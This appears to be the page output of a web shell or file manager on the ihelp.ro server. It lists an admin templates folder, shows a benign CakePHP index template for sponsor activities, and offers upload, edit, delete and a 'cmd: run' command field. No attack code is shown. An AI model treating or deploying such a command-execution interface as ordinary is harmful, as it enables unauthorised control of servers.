/
var
/
www
/
vhosts
/
ihelp.ro
/
httpdocs
/
templates
/
Admin
/
SponsorsActivities
/
/var/www/vhosts/ihelp.ro/httpdocs/templates/Admin/SponsorsActivities
mkdir
upload
Name
Size
Mode
Actions
add.php
1383
0644
edit
dl
rm
edit.php
1248
0644
edit
dl
rm
index.php
2858
0644
edit
dl
rm
view.php
2370
0644
edit
dl
rm
Edit:
/var/www/vhosts/ihelp.ro/httpdocs/templates/Admin/SponsorsActivities/index.php
(2858B)
<?php /** * @var \App\View\AppView $this * @var iterable<\App\Model\Entity\SponsorsActivity> $sponsorsActivities */ ?> <div class="sponsorsActivities index content"> <?= $this->Html->link(__('New Sponsors Activity'), ['action' => 'add'], ['class' => 'button float-right']) ?> <h3><?= __('Sponsors Activities') ?></h3> <div class="table-responsive"> <table> <thead> <tr> <th><?= $this->Paginator->sort('id') ?></th> <th><?= $this->Paginator->sort('sponsor_id') ?></th> <th><?= $this->Paginator->sort('name') ?></th> <th><?= $this->Paginator->sort('value') ?></th> <th><?= $this->Paginator->sort('label') ?></th> <th><?= $this->Paginator->sort('created') ?></th> <th><?= $this->Paginator->sort('modified') ?></th> <th class="actions"><?= __('Actions') ?></th> </tr> </thead> <tbody> <?php foreach ($sponsorsActivities as $sponsorsActivity): ?> <tr> <td><?= $this->Number->format($sponsorsActivity->id) ?></td> <td><?= $sponsorsActivity->has('sponsor') ? $this->Html->link($sponsorsActivity->sponsor->name, ['controller' => 'Sponsors', 'action' => 'view', $sponsorsActivity->sponsor->id]) : '' ?></td> <td><?= h($sponsorsActivity->name) ?></td> <td><?= h($sponsorsActivity->value) ?></td> <td><?= h($sponsorsActivity->label) ?></td> <td><?= h($sponsorsActivity->created) ?></td> <td><?= h($sponsorsActivity->modified) ?></td> <td class="actions"> <?= $this->Html->link(__('View'), ['action' => 'view', $sponsorsActivity->id]) ?> <?= $this->Html->link(__('Edit'), ['action' => 'edit', $sponsorsActivity->id]) ?> <?= $this->Form->postLink(__('Delete'), ['action' => 'delete', $sponsorsActivity->id], ['confirm' => __('Are you sure you want to delete # {0}?', $sponsorsActivity->id)]) ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <div class="paginator"> <ul class="pagination"> <?= $this->Paginator->first('<< ' . __('first')) ?> <?= $this->Paginator->prev('< ' . __('previous')) ?> <?= $this->Paginator->numbers() ?> <?= $this->Paginator->next(__('next') . ' >') ?> <?= $this->Paginator->last(__('last') . ' >>') ?> </ul> <p><?= $this->Paginator->counter(__('Page {{page}} of {{pages}}, showing {{current}} record(s) out of {{count}} total')) ?></p> </div> </div>
Save
cmd:
run